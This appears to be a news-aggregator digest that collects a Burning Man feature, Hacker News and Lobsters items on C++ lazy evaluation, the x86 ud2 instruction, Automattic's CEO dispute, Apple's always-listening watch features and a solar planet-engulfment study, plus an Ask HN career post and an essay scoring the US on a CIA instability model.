People dance in front of a large bonfire
Burners revel at the Burning Man festival in the Black Rock desert in Nevada on 30 August 2008. Photograph: Frederic Larson /San Francisco Chronicle via Getty

Burners are used to adapting to new circumstances, and they have weathered plenty of scorn and skepticism from what they call the “default world”. But a permanent shift in the event’s demographics could have big implications for what’s possible on the ground.

As Burning Man’s spiritual seekers age, can the festival remain an evolving experiment in radical communal living? Or is it doomed to become just another tech networking conference for the wealthy – one where almost everyone is high and a surprising number of people are naked?

Deaths in the desert

The number of deaths connected with the festival ticked upwards to three this year , all of them men over 50. Two of the men, one in his mid-50s and the other 51, died after receiving medical treatment. A third man, aged 60, was found dead in the trailer he shared with his significant other.

Local authorities said there were no signs of foul play in any of the deaths, and that more information about the causes of death would be released in about six to eight weeks, after they conducted the required autopsies and toxicology tests.

“It is premature to attribute these deaths to the age of Burning Man’s participant population,” a spokesperson for the Burning Man Project said in a statement. “The deaths resulted from separate incidents, the individual causes have not been released, and age alone does not establish cause.

“We encourage and ask people to focus on the contributions of the individuals lost and avoid speculation out of respect for the participants and their families.”

In many ways, it’s impressive that a chaotic event that draws upwards of 70,000 people annually has only typically seen about one death per year, particularly given the festival’s notoriety for drugs, cage-fighting in the Thunderdome , live flame performances and improvised vehicles careering across the dark desert – not to mention the Orgy Dome .

The physical conditions can be punishing. Since 1990, Burning Man has been held on Nevada’s Black Rock playa, a gorgeous, barren stretch of dusty land that was once a prehistoric lake. There is no vegetation, no running water – virtually no signs of life. The playa is prone to sudden, ferocious dust storms: participants are encouraged to carry dust masks and goggles. Heavy rains cause flooding and turn the ground to mud.

People camp in a barren stretch of dusty land with a mountain in the background.
About 4,500 people gathered in the Black Rock desert of northern Nevada for the Burning Man festival in 1995. Photograph: Tomas Ovalle/Tri-Valley Times via Getty

The social conditions can be even more dire: endless substance use, no sleep, house music pounding across the desert nearly 24 hours a day – and, if you didn’t prepare enough, intermittent access to food. The portable toilets throughout the tent city have sometimes been decorated with PSAs urging festivalgoers to “Piss clear, cowgirl!” warning them that dark-colored urine means they’re starting to become severely dehydrated.

Repeat burners tend to scoff at breathless media coverage of the festival’s weather and other disasters – like in 2023, when heavy rain and floods forced Diplo to hitchhike and left tens of thousands stranded , but many participants said they were well-prepared and simply partied on.

“In 2023, they were like, ‘There are diseases, they’re eating people,’” a person identified only as “Bone” told SFGate on another muddy day this year . “Meanwhile, I’m like dancing with beautiful European women and having the best time of my life.”

The inhospitable natural conditions are, after all, part of Burning Man’s design. In some ways, the 200-sq-mile desert playa functions as a kind of massive sauna, where the extreme desert heat helps participants enter a more relaxed and communal state. Festival participants rely on each other to meet their basic needs, from food, to shelter, to extremely brief and improvised showers. Buying or selling anything during the festival is forbidden, which means the 70,000-person tent city operates as a gift economy, with different groups of campers offering up different free activities, food or drink.

This can make Burning Man feel like a dream: it’s possible to float across the desert from campground to campground, filling a reusable mug with endless free beers and cocktails, and occasionally catching a ride on an improvised “art car”, which might be shaped like a dragon or feature a giant playground slide. Massive handmade temples, statues and monuments loom out of the dust; by the end of the week, most of them will be set ablaze.

People bike away from a dust storm
A huge dust storm forces burners to take cover in tents or vehicles in Black Rock City on 30 August 2007. Photograph: Michael Macor/San Francisco Chronicle via Getty

For the times when that dream turns abruptly into a nightmare, Burning Man’s organizers have emphasized free community care. Volunteers provide first aid and quiet places where people having a bad trip on drugs can recover. The festival has its own free emergency room, Rampart, which is equipped with “X-ray machines, a pharmacy with over 100 medications, blood products, ventilators, chest tubes, arterial lines, [and] IV pumps”, SFGate reported . It treated nearly 1,500 patients last year.

One of the men who died this year at Burning Man had been found on one of the festival’s streets and was given CPR, and then brought to the hospital, the Pershing county sheriff’s office said in a statement.

“Black Rock City is a temporary, rural city of approximately 60,000 people, supported by a substantial medical and emergency-response system operating around the clock,” the Burning Man Project said in a statement. “Participants experience medical emergencies for many of the same reasons people do in any city.”

A once-edgy celebration past its prime?

Over its four decades, the festival has been nothing but resilient, but many early participants feel a middle-aged sense of disillusionment over what Burning Man has become.

It’s not just the age of the crowd. Once a dadaist experiment, an attempt to create a “ temporary autonomous-zone ” in the desert, Burning Man is now a marker of class status for tech bros and “creative professionals” around the globe, a kind of west coast Wimbledon for the weird.

“Early Burning Man wasn’t a ready-made escape you could buy your way into. It was an anarchistic collaboration of equals, conjured into being by a few hundred people of goodwill, far from anyone’s control,” John Law, one of the Burning Man’s co-founders, wrote in the SF Standard this August.

Striking women with shaved heads and 90s attire mug for the camera.
Festivalgoers at Burning Man on 3 September 1999. Photograph: Hector Mata/AFP via Getty Images

Today, he wrote, it’s become an “immersive spectacle built for the consumption of western elites and the middle-class creatives who service them”.

To be fair, to the art punks who built it in the first place, Burning Man hasn’t been cool for decades. Law hasn’t been back to the desert since his last burn 30 years ago.

You could argue that Burning Man has been over since 1996, when it made the cover of Wired magazine, or since 2001, when Eric Schmidt was famously selected as Google’s new CEO after a vetting trip to Burning Man with Sergey Brin and Larry Page.

Even though today’s Burning Man still relies on a “gift economy” once participants arrive, getting there is very far from cheap. The growing number of elder burners is hardly surprising, given the increasing cost of a Burning Man experience, with entry tickets alone costing between $550 and $3,000 this year , not including the costs of food, shelter, creative outfits, vehicle rental and entry fee, and the multiple stages of travel needed to reach the remote Nevada desert.

People bike around a skeletal art structure in a desert
The Serpent Mother by the Flaming Lotus Girls of San Francisco at the conclusion of Burning Man in 2006. Photograph: Carlos Avila Gonzalez/The San Francisco Chronicle via Getty

And that’s just for an ordinary camp-in-a-tent Burn, not what Law describes as the much-derided “ plug-and-play ” Burning Man experiences, which might involve a chartered flight directly to the playa, air-conditioned accommodation, specially prepared costumes and a private chef.

Three-quarters of Burning Man participants last year said they had a household income of more than $100,000 a year, and nearly 30% said their household income was more than $300,000, according to the census estimates .

Though one of the principles of the festival is “radical inclusion”, the event continues to attract an overwhelmingly white crowd: in many years, estimates have put it at over 80% white. This year, the figure was 75%.

StyleX — The styling system for ambitious interfaces

Lobsters
stylexjs.com
2026-09-13 08:51:03
Comments...
Original Article

Copyright © 2026 Meta Platforms, Inc.

Bluesky

Being lazy in C++

Lobsters
cpp-rendering.io
2026-09-13 08:50:15
Comments...
Original Article

Context

Again, I haven’t posted in a long time. I suppose I’ll have to start all my new articles with this sentence, ahaha. I can say I was a bit lazy, and that’s a good thing because we’re going to see how to be lazy in C++.

Lazy initialization is the practice of delaying initialization until it is needed. It can be used to optimize performance (which will be the subject of the next article), but it popped up when I was asked an interesting question a while ago while working for one of my clients.

int complex_computation()
{
    std::cout << "Compute" << std::endl;
    return 2;
}

int main()
{
    std::optional<int> a = 50;
    std::optional<int> b;

    std::cout << a.value_or(complex_computation()) << "\n";
    std::cout << b.value_or(complex_computation()) << "\n";
}

Why is the result of this not:

50
Compute
2

but is:

Compute
50
Compute
2

Shouldn’t the mantra for C++ be “You don’t pay for what you don’t use”? In this case, the computation isn’t needed for the first case…

Attentive readers will have noticed that the value_or is a function, and each argument of a function must be evaluated before the call.

In C++23, std::optional::or_else(f) solves this specific case since it takes a callable. However, value_or is far from the only function with this problem, so it is worth having a generic solution. For example, std::map::try_emplace suffers from this exact problem.

Tackling the problem

The first thing to do is to understand what value_or does. STL implementation from MSVC is something similar to:

template<typename T> class optional {
    template <class U>
    constexpr T value_or(U&& value) const& {
        if (this->has_value()) {
            return **this;
        }

        return static_cast<T>(std::forward<U>(value));
    }
};

The conversion from U to T occurs only in the fallback branch, so the computation should be triggered there.

Said another way, the T object must be materialized by converting U to T.

Let’s create a simple helper now!

template<typename F>
struct Lazy { // C++17 users will need a deduction guide (aggregate CTAD is C++20)
    template<typename T>
    operator T() const {
        return initializer();
    }

    F initializer;
};

int main()
{
    std::optional<int> a = 50;
    std::optional<int> b;

    std::cout << a.value_or(Lazy{complex_computation}) << "\n";
    std::cout << b.value_or(Lazy{complex_computation}) << "\n";
}

Now the result is exactly what we expected.

50
Compute
2

Limitation

No memoization:

int main()
{
    std::optional<int> a = 50;
    std::optional<int> b;
    std::optional<int> c;
    Lazy value{complex_computation};

    std::cout << a.value_or(value) << "\n";
    std::cout << b.value_or(value) << "\n";
    std::cout << c.value_or(value) << "\n";
}

Since Lazy does not memoize the result of the operation, the computation runs twice, once for b and once for c .

No constraint: if (Lazy{...}) will compile and may not do what you think it does.

Conclusion

std::optional is not to blame for the behavior we started with: C++ evaluates function arguments before the call, so value_or(complex_computation()) runs the computation whether we need it or not. What makes value_or interesting is that it only converts its argument in the fallback branch. Our Lazy helper exploits exactly that: it hides the computation behind a conversion operator, so the caller only performs the work when it actually materializes the value, and skips it otherwise.

We kept the helper deliberately minimal, and it shows two weaknesses: it recomputes the result on every conversion, and its unconstrained conversion operator silently converts to anything, bool included. In the next article, we will build a more robust lazy type that memoizes its result and converts only to the type its initializer returns, and we will measure its runtime cost.

I hope you enjoyed this article!

Reference:

MSVC STL: optional::value_or

Matt Mullenweg reportedly returns as Automattic CEO 2 days after getting booted

Hacker News
www.theverge.com
2026-09-13 08:30:28
Comments...
Original Article

Jay Peters

is a senior reporter covering technology, gaming, and more. He joined The Verge in 2019 after nearly two years at Techmeme.

Two days after being placed on a paid leave of absence, Matt Mullenweg says he has been reinstated as CEO of Automattic, according to a Slack message seen by TechCrunch . WordPress Executive Director Mary Hubbard confirmed Mullenweg’s return to the CEO role in a Friday post on X , which the official WordPress account shared and Mullenweg reposted.

As 404 Media reported on Wednesday , Mullenweg had told staff in Slack that morning that CFO Mark Davies “conspired” with the board of directors, who voted to “put me on a paid leave of absence.” (Mullenweg said he voted against that.) He also told staff that the board had voted for Davies to become interim CEO. Davies, in a separate message, said that Mullenweg would still be a board member, according to 404 Media . An Automattic spokesperson told The Verge that Mullenweg was “currently on leave” from the company and confirmed Davies’ interim appointment.

In the message viewed by TechCrunch , however, Mullenweg wrote that the board is “back in agreement” and that he’s “in control of Automattic.” He added that “A lot happened in the past 48 hours that we need to sort out, and I hope much of it was a misunderstanding, because I have huge respect and regard for those involved.” TechCrunch reports that Davies’ Slack account has been deactivated and that Mullenweg had removed “all” admins from Automattic’s Slack.

404 Media also reported on Mullenweg’s posts about his apparent return, saying he made the posts “late Thursday evening.”

Automattic, which owns companies like Wordpress.com, Tumblr, and Beeper, didn’t immediately reply to a request for comment from The Verge . At 12:20PM ET on Friday, Mullenweg posted on X that “If you don’t have a coup attempt every few years, you’re not hiring strong enough leaders,” adding in a separate post that “I think this was my fifth.” Mullenweg also published a blog post on Friday titled “Major Life Announcement” about making an offer to buy a houseboat.

Updates, September 11th : Added 404 Media’s report and a post from WordPress’ executive director.

Follow topics and authors from this story to see more like this in your personalized homepage feed and to receive email updates.

Why is the x86 undefined instruction called ud2? Why 2?

Hacker News
devblogs.microsoft.com
2026-09-13 08:30:15
Comments...
Original Article

If you look at x86 compiler output (or if, like me, you’re looking at a crash caused by some software that tried to detour an API), you may see an instruction ud2 . What’s up with that?

The ud2 instruction is an architecturally undefined instruction, guaranteed to raise an “invalid opcode” exception. Some compilers generate it to mark “unreachable” code, so that if execution somehow manages to reach it, you get a crash rather than executing random instructions. For example, if a function marked [[noreturn]] somehow returns, the compiler will put a ud2 after the call so that the program crashes instead of falling through to the next function.

Anyway, why is this instruction called ud2 instead of just ud ? Was there a ud1 ? What was so wrong about ud1 that we had to make a ud2 ?

I think I can reconstruct what happened.

Originally, there was no architecturally undefined instruction on x86. So people who wanted to force an invalid opcode exception went looking for some byte sequence that reliably raised the invalid opcode exception when executed.

Somebody found that the 0F FF sequence led to an invalid opcode exception. Though, for whatever reason, the instruction internally decoded as if it took two parameters, a register destination and a register-or-memory source. The parameters aren’t actually used because the invalid opcode exception gets raised before anything else can happen.

Meanwhile, somebody else found that the 0F B9 sequence also had the same properties. So you now had two factions, the 0F FF believers and the 0F B9 adherents. There really wasn’t much of a battle between them, because both techniques seemed to work, and it’s not like one was coming at the detriment of the other.

Intel then worked on their next processor, and maybe they made some changes that resulted in 0F FF no longer raising an invalid opcode exception. Maybe they tried introducing a new instruction that uses 0F FF . Or maybe it was still undefined but just performed some random operation instead of raising the invalid opcode instruction. And when they started running software on their new processor, they found that some programs stopped working, and after laborious investigation, they discovered that the programs were relying on 0F FF being an invalid opcode.

In other words, they ran into Hyrum’s Law : With a sufficient number of users, all observable behaviors will be depended upon by somebody. Obligatory XKCD .

A similar discovery was made with 0F B9 .

Now that they realized that people wanted a reliable way to trigger an invalid opcode exception, the folks at Intel decided to make it official, and they created an actual supported permanently-invalid instruction and called it ud2 .

It’s called ud2 because the 0F FF variant was retroactively named ud0 , and the 0F B9 variant was retroactively named ud1 , leaving ud2 as the recommended undefined opcode.

One advantage of ud2 is that it is a two-byte instruction with no parameters, so you don’t have to deal with the random decoded-but-unused source and destinations.

Bonus chatter : But why do we care about the unused parameters to ud0 and ud1 ? Can’t we just say that ud0 and ud1 are also two-byte invalid opcodes? I mean, sure, there’s a third byte, or possibly more if the memory operand has an offset or a scaled index, but the processor doesn’t use it.

It matters, because even though the processor doesn’t use it, it still decodes it. And if the decoding of the instruction crosses into a not-present page, you don’t get an invalid opcode exception at all. You get an access violation.

Bonus bonus chatter : Except that some older processors raised the invalid opcode instruction as soon as they decoded the 0F FF without checking whether the rest of the instruction decoded properly. So if your 0F FF is at the end of a page, and the next page is not present, you sometimes got an invalid opcode exception and you sometimes got an access violation.

Better to stick with ud2 . Its behavior is consistent and architecturally guaranteed.

Category

Topics

Author

Raymond Chen

Raymond has been involved in the evolution of Windows for more than 30 years. In 2003, he began a Web site known as The Old New Thing which has grown in popularity far beyond his wildest imagination, a development which still gives him the heebie-jeebies. The Web site spawned a book, coincidentally also titled The Old New Thing (Addison Wesley 2007). He occasionally appears on the Windows Dev Docs Twitter account to tell stories which convey no useful information.

Watch what you say: Apple opens the door to a nightmare world of always-listening tech

Lobsters
this.weekinsecurity.com
2026-09-13 08:10:30
Comments...
Original Article

Apple this week announced plans to roll out "always-listening" features for newer Apple Watches. One of the features, Live Rewind, lets you "go back in time" and replay the most recent 15 seconds of ambient audio as a text transcript. The other feature, Siri Recap, listens throughout the day and summarizes your conversations as high-level notes into a written report on your iPhone.

Apple claims these features are helpful to "jog" your memory. The massive trade-off is that your Apple Watch is always listening to you and anyone else within earshot while the feature is enabled.

Here's the relevant section from Apple's live event:

Given these features we're bound to be controversial, it's clear that Apple put thought into the security and privacy guardrails before shipping these features (which may still change). The tech giant says on its support page that the always-listening tech doesn't record or store audio, and that the recaps are end-to-end encrypted so that any summarized data is inaccessible to anyone else, not even Apple. And, its security documentation [PDF] detailing how the features work is worth reading as well.

What is more concerning to me, to underscore on a point I made in a Bluesky post , is that Apple is opening the door to a world where other companies, device makers, and app developers try to recreate or rival Apple's technology and do a far shoddier job, all the while creating a worse surveillance monster and introducing new security and privacy risks along the way.

So far there have been a few companies and startups that made always-listening devices, like pendants, often including AI . Apple by comparison is one of the largest technology companies in the world and its global reach means millions of people will get these features and switch them on. Apple's market dominance, coupled with its decision to make always-listening tech, sets a precedent that signals it's OK for other companies to follow suit and normalize this intrusive tech. It also implies that there is money to be made in developing this technology, making it a space ripe for disruption (or exploitation) by profiteers.

Bloomberg ($) reports lawyers are already finding that Apple's always-listening tech is at odds with the law in several U.S. states. Some states require all parties' consent before being recorded, setting up the feature for potential legal battles down the line. This comes amid the rise of smart camera-enabled "pervert glasses" like those made by Meta and Snap, which have supercharged abuse and harassment against people by recording them without consent.

Privacy for me, but not for thee?

While Apple has emphasized security and privacy features for its own users, it hasn't explained how people opt out of its customers' recordings.

I chatted this week with Em, a digital privacy and security technologist, activist, and author of the Control Alt Delete blog, and whose work you have no doubt seen while she wrote for Privacy Guides . Em told me that these new Apple features follow a "recent trend of gadgets that are constantly collecting information from surroundings, including from people who aren't wearing or buying these gadgets themselves," like smart glasses and speakers.

Em said that while anyone can make notes of every conversation they have, this kind of technology "normalizes it happening at all time and in every context."

"Even if Apple seems to have put some thought into protecting the privacy and consent of the people using the Apple Watch, this technology doesn't do much to protect the privacy and consent of everyone interacting with people using it," Em told me.

I also asked Thorin Klosowski, a senior security and privacy activist at Electronic Frontier Foundation, for his thoughts and he said similarly that Apple's approach is largely about protecting its customers' data but does little for anyone else.

"Increasingly we’re seeing tech companies frame privacy this way — as personal responsibility — but it has never been just about that, it’s a collective effort that relies as much on personal choice as it does social contracts," said Klosowski. He added that we should all be free to converse without fear of tech documenting everything that's being said. "Especially when combined with all the other similar devices we’re seeing, whether that’s pendants or glasses or rings, there is absolutely a risk of normalization here."

EFF's privacy litigation director Adam Schwartz added that since there's no practical means for people to consent or decline recording, "we suggest people should think twice before using this technology, out of respect to the conversational privacy of others."

For its part, Apple says on its support page that users should "consider those around you where conversations may be private or sensitive." The broader message Apple seems to be sending is: Prepare for a world where everyday devices are always listening in.

~ ~

Thank you so much for reading and subscribing to ~ this week in security ~! I hope you enjoyed and found this article helpful. If you like it, please share a link on your social media! Please reach out with any feedback, questions, or comments about this article: this@weekinsecurity.com .

'Fingerprints' inside the Sun could reveal if it once swallowed a planet

Hacker News
ras.ac.uk
2026-09-13 08:01:52
Comments...
Original Article

It is thought the Sun may have engulfed a super-Earth-sized planet early in its history.

Now a new study has gone a step further by suggesting that such an event may have left behind detectable clues inside our star which could still be visible today.

This idea of a measurable signature or 'fingerprints' in the present-day solar interior was explored by research published today in Monthly Notices of the Royal Astronomical Society .

Professor Mutlu Yildiz, of Ege University in Turkey, said: "Our new study suggests that a planet several times more massive than Earth may have fallen into the young Sun and left a lasting chemical imprint deep inside it.

"By modelling the Sun's evolution and comparing the results with precise observations of its interior, we find that the ingestion of a super-Earth could help explain long-standing differences between standard solar models and observations, including subtle changes in the Sun's internal structure and its depleted lithium abundance."

Researchers also found that such a world could survive its passage through the Sun's outer layers while losing very little mass, which suggests that planets may leave detectable fingerprints inside their host stars long after they have disappeared.

For many years, solar models based on the standard physics of stellar evolution have had difficulty reproducing some helioseismic observations simultaneously, particularly the sound-speed structure just below the convection zone and the depth of the solar convection zone.

At the same time, the Sun shows a strong and well-known depletion of lithium at its surface.

"We were interested whether these problems might have a common origin in the early chemical history of the Sun," Professor Yildiz explained.

"Young stars are surrounded by protoplanetary discs, where substantial amounts of material can move between the disc and the star.

"Since planets are made of material that is chemically different from the gas in the disc, we wondered whether the early engulfment of a planet could have left a chemical signature inside the young Sun."

The researchers used the MESA stellar-evolution code to test their idea. They explored different accretion histories and compared the resulting solar models with helioseismic constraints and surface abundances, while also testing alternative explanations involving the equation of state, opacity, and different prescriptions for turbulent and convective mixing.

Their results favour a scenario in which the young Sun engulfed a super-Earth around 5–10 times the mass of Earth.

Importantly, their modelling also does not explain just one puzzle. It simultaneously matches several independent measurements of the Sun, including observations of its interior and its unusually low lithium abundance.

"We thought planetary engulfment might affect the solar structure but did not expect the calculations to converge on such a specific super-Earth mass range," said Professor Yildiz. "That was one of the most interesting outcomes of the study."

He added that while it may not be possible to definitively prove the Sun swallowed a planet, if the predicted structural and chemical signature could be independently identified through helioseismic or other observations, it would provide strong evidence for such an event happening billions of years ago.

Astronomers have long wondered why many other star systems appear to have large super-Earths, while ours has none.

The new study cites previous research from a decade ago by Martin & Livio (2016) , which suggested that one or more super-Earths could have formed inside the orbit of Mercury and migrated inward through the gas disc, potentially falling into the young Sun.

However, although this research provided a theoretical pathway for an engulfment event, it did not require that such a planet was ultimately swallowed by our star.

"The earlier work proposed that a super-Earth could have formed and migrated into the young Sun. Our paper asks whether the Sun itself could still carry observable evidence that such an engulfment actually happened, and we believe it could," Professor Yildiz concluded.

"The next step is to see if these fingerprints can be independently detected."

ENDS


Media contacts

Sam Tonkin

Royal Astronomical Society

Mob: +44 (0)7802 877 700

press@ras.ac.uk


Science contacts

Professor Mutlu Yildiz

Ege University

mutlu.yildiz@ege.edu.tr


Images & captions

Swallowed by the Sun

Caption: An artist's impression of a star engulfing a planet. The blue line traces the path of the planet as it spirals toward the star and ultimately collides with it.

Credit: NASA , ESA , CSA, Ralf Crawford (STScI)


Further information

The paper ' Planetary engulfment as a solution to solar-model discrepancies and its implications for planetary systems ' by M. Yildiz has been published in Monthly Notices of the Royal Astronomical Society . DOI: 10.1093/mnras/stag1527.


Notes for editors

About the Royal Astronomical Society

The Royal Astronomical Society (RAS), founded in 1820, encourages and promotes the study of astronomy, solar-system science, geophysics and closely related branches of science.

The RAS organises scientific meetings, publishes international research journals, recognises outstanding achievements by the award of medals and prizes, maintains an extensive library, supports education through grants and outreach activities and represents UK astronomy nationally and internationally. Its more than 4,000 members (Fellows), a third based overseas, include scientific researchers in universities, observatories and laboratories as well as historians of astronomy and others.

The RAS accepts papers for its journals based on the principle of successful peer review, following which experts on the Editorial Boards accept the papers for publication. The Society issues press releases based on a similar principle, but the organisations and scientists concerned have overall responsibility for their content.

Keep up with the RAS on Instagram , Bluesky , LinkedIn , Facebook and YouTube .

Download the RAS Supermassive podcast

Show HN: Analyst Index – analysts who make money telling you good stock calls

Hacker News
www.analystidx.com
2026-09-13 07:50:35
Comments...
Original Article

Research / Analysts

THE ANALYST DIRECTORY

Find the analysts who see clearly.

Explore reported performance and the original terms of every price target.

RESEARCH COVERAGE 25 ANALYSTS

The research landscape

Coverage follows filters · monthly production includes all analysts

INDEX AVERAGE

1072.6

Mean reported score · 25 rated analysts

SECTORS COVERED

11

Distinct sectors in the analyst table

STOCKS COVERED

3

Distinct tickers in the target ledger

TARGETS PRODUCED THIS MONTH

2

All analysts · issued this calendar month

ANALYST DIRECTORY

All analysts in the index

Ranked by reported index score.

RANK ANALYST FIRM SECTOR TARGETS EVALUATED REPORTED COVERAGE OVERALL RATING INDEX SCORE
# 1

CW Cathie Wood 4 targets evaluated

Ark Invest Technology 4 1 Exceptional

4873

# 2

BW Brett Winton 2 targets evaluated

Ark Invest Technology 2 1 Exceptional

3165

# 3

TK Tasha Keeney 9 targets evaluated

Ark Invest Technology 9 1 Strong

1505

# 4

RB Ron Baron 3 targets evaluated

Baron Capital Autos & Mobility 3 1 Average

973

# 5

PF Pierre Ferragu 2 targets evaluated

New Street Research Technology 2 2 Average

910

# 6

DI Dan Ives 3 targets evaluated

Wedbush Technology 3 2 Average

880

# 7

TS Toni Sacconaghi 1 targets evaluated

Bernstein Technology Hardware 1 1 Average

874

# 8

AR Aaron Rakers 1 targets evaluated

Wells Fargo Semiconductors 1 1 Unrated

800

# 9

AM Atif Malik 1 targets evaluated

Citi Semiconductors 1 1 Unrated

800

# 10

CM C.J. Muse 1 targets evaluated

Cantor Fitzgerald Semiconductors 1 1 Unrated

800

Ask HN: Career paths to consider if I am better at supporting than creating?

Hacker News
news.ycombinator.com
2026-09-13 07:47:23
Comments...
Original Article

I have a BS/MS in computer science and somewhere around 9 years of experience, where the first half was spent working as a backend developer and the second half I've been working in product owner roles. I switched from development to product because I simply realized that I wasn't very good at implementation and system design work to be honest. I wanted to work with tech from a more overarching level, and let the experts who were much more skilled than me handle the implementation work.

Around 8 months ago I switched companies and am still working as a PO, but this organization I am working in is a terrible fit for me. I don't want to go too far into why I really dislike this job, but a big part of it is that the organization wants me to make technical design decisions which I am just really not good at, since the development team doesn’t have this experience themselves. This is making it completely impossible to deliver on the project I’m responsible for.

This has really made me think about what I should do for my next role. I fully admit that I was and still am a mediocre developer, which is why I moved into a PO role in the first place around 4 years ago. I have such a huge amount of respect for people who are great developers and architects. It's a challenging role and I can imagine it's exciting if you are creative and like to build new things. But I am just not cut out for it. I am not very creative, and I often have no clue where to even start when I need to build new things.

The parts I've enjoyed the most in the various roles in my career have been things like:

- 2nd/3rd line ticket management and troubleshooting. It's been quite fun going through logs and trying to figure out what went wrong, perhaps trying to recreate the situation in a test environment with an API client.

- Supporting customers. For example helping customers with installations of software. It honestly gives me a huge sense of accomplishment when I get to see a customer making use of our products, and helping them investigate why something may not be working.

- Being an interface between business and tech. I've always thought of myself as someone who is able to understand both business needs and technical needs quite well. Even though I'm not good at implementing software, I can understand limitations of software, read and understand existing codebases, and so on.

- Testing software. It's a lot of fun to test software to see if there are any issues before we go live!

- Just working with people in general! I really like to do whatever I can to support my team and the people that I work with.

I thought I'd ask for some advice to see if you guys have any recommendations for career tracks to consider, given that I am just much more comfortable supporting existing software than building new software. I like working with people. I like achieving results. I'm just not cut out for system design and building new software.

Honestly it might mean that I need to live with a lower salary, and that is fine with me. To be completely honest, given the fact that my current role is genuinely making me sick with severe anxiety (made a post about this a while back [1], I've learned that money isn't everything. There isn't a point to making more money if my job is literally killing me and I am losing my health. I'd much rather work with something I enjoy that isn't making me feel sick. Life is too short.

Thanks for reading this. I really appreciate any advice or thoughts you may have.

[1] https://news.ycombinator.com/item?id=49533073

U.S. in Highest-Risk Category for Civil War, Coup, or Collapse in CIA Model

Hacker News
cmarmitage.substack.com
2026-09-13 07:26:48
Comments...
Original Article
Photo-illustration by Alex Cochran. Source: Getty.Scored on the CIA’s Instability Model, the United States Is in the Highest-Risk Category for Civil War or Coup

Note from the author: This article is long; it needs to be. There are plenty of great sources for quick hot takes, but here at the Existentialist Republic we aim to present factual information, effective solutions, and meaningfully orient the world towards justice. That just doesn’t happen in the length of a tweet.

In 1994, at the request of Vice President Al Gore, the Central Intelligence Agency assembled a task force of academics and gave them one job , to work out which governments around the world were headed for civil war or collapse and whether it could be predicted years in advance. Ted Robert Gurr, a political scientist at the University of Maryland, built the first version . Jack Goldstone of George Mason University led the modeling that followed, and in 2010 he and seven colleagues published the result in the American Journal of Political Science .

Tested against every country of more than half a million people from 1955 to 2003, the model was right more than eighty percent of the time, two years in advance , about which states would break down and which would stabilize. By law, the CIA is barred from studying the United States itself, so Barbara Walter, a political scientist who served on the task force, scored the country on her own . I did the same, working from her research, the CIA’s methodology, and using data covering the time since Walter’s exploration of the subject.

Four things accurately predicted national and sub-governmental breakdown, out of dozens of categories the researchers tested: the type of political regime, the infant mortality rate, whether four or more neighboring countries were at war, and whether the government practiced discrimination against a defined group.

Regime type predicted breakdown far more accurately than the other three. Of the regime types the model scores, the one with the highest odds of breakdown, a partial democracy with deep factionalism, had more than thirty times the odds of instability compared to a plain dictatorship .

The odds run that way because the regimes at both ends of the scale last and the ones in the middle break.

Håvard Hegre and three colleagues at the Peace Research Institute Oslo found, across 152 countries from 1816 to 1992, that “coherent democracies and harshly authoritarian states have few civil wars” and that the regimes in between have the most, even after they have had time to settle from a regime change . A full dictatorship can repress and a full democracy can accommodate, and a regime in the middle does neither well enough to be anything but fragile and tenuous. This can be good or bad news depending on which side of the autocratic takeover you happen to be on, though I take it as a sign for optimism that the GOP regime may be lacking in traits defining a more robust capture of the United States.

Regime type in the model comes from the Polity data, which rates every country from positive ten for a full democracy to negative ten for a full dictatorship . The middle range, positive five down to negative five, is anocracy, a mix of democratic and authoritarian rule. Polity’s last reading, in 2020, scored the United States a positive five, below the cutoff for a democracy , after the executive refused congressional oversight and worked to discredit the vote count. Polity stopped scoring that year, and the V-Dem Institute’s 2026 report, which now does the same work, downgraded the United States from a liberal democracy to an electoral one . Both readings fall short of a full democracy.

The major independent measures of democracy all show the United States declining, and one of them shows the fastest decline it has ever recorded. On V-Dem’s index, maintained by the University of Gothenburg, the United States fell from twentieth to fifty-first in the world in a single year , its sharpest one-year fall in a record reaching back more than two centuries. On Freedom House’s hundred-point scale the United States fell from 93 to 81 over the past two decades , the steepest decline of any country it still rates as free. The Economist’s index rates the country a flawed democracy at its lowest score since the measure began in 2006 . The Century Foundation’s new democracy meter scored it 57 out of 100 for 2025, down from 79 the year before .

Polity had already recoded American political competition from competitive to factional in 2016, the condition the task force found to be the strongest single predictor of national split, collapse, coup, or balkanization . That recoding cut the score from positive ten to positive eight. Polity dated the switch to the presidential election and named the two factions as Trump’s supporters and the opposition . The Center for Systemic Peace, which maintains Polity, rated the United States at high risk of political instability when it recorded the 2020 drop, and it called the executive’s effort to overturn that election an attempted presidential coup . The people responsible for that coup were pardoned and placed back in power, they’ve been systematically removing Democratic safeguards for nearly two years since returning to power.

Factionalism in the model is politics split into hostile camps that treat power as winner-take-all instead of a contest between inherently collaborative stakeholders. V-Dem’s 2026 report describes the Republican Party as far-right and anti-pluralist . V-Dem’s party index had scored it that way years earlier, rating parties from zero to one on four behaviors : weak commitment to pluralism, demonizing opponents, contempt for minority rights, and encouraging political violence.

By the 2016 election the Republican Party had crossed the 0.43 line for an anti-pluralist party, and in V-Dem’s last coding, before the 2018 election, only 15 percent of governing parties in democracies this millennium scored more illiberal than it did , closer to Turkey’s ruling AKP at 1.0 and Hungary’s ruling Fidesz at 0.88 than to the British Conservatives at 0.35 or the German Christian Democrats at 0.05. The Democratic Party stayed in the mainstream range. That 2018 reading is the last one V-Party took. The index has scored nothing since: the January 6 attack, the pardons of the people who carried it out, the mass internment camps, the ICE agents screaming “Make America Great Again, bitch” as they beat and abduct Americans , or the Republican midterm convention in Dallas on September 10, 2026, where an attendee shouted “He should be shot!” each time Senator Ted Cruz named a Democratic candidate , and Cruz did not react and later posted the clip of his speech with the shouts audible . One of the country’s two governing parties behaved like the ruling parties of the world’s elected autocracies in 2018, and the eight years since are the ones no index has scored.

Combine the two and the United States falls into the model’s most dangerous category, a partial democracy with factionalism. Polity’s last coding is six years old, and the test of whether it still applies is whether that party holds enough of the state to act on its anti-pluralism, because an anti-pluralist party in opposition is a problem and an anti-pluralist party in power is a regime. A party that controls the White House and the courts and no longer accepts the elections it loses, as it showed after 2020 and on January 6, 2021, when its supporters stormed the Capitol to stop the count, passes that test.

It should be noted that the eighty percent is the CIA model’s track record, and its accuracy has fallen in the last decade . Still, what it predicts is instability, meaning civil war and the violent or unconstitutional replacement of a government. That is all I take from the model, a factional partial democracy with high odds of breakdown, and everything after this point is my argument about what that breakdown makes possible, resting on the evidence I give for it rather than on the model itself.

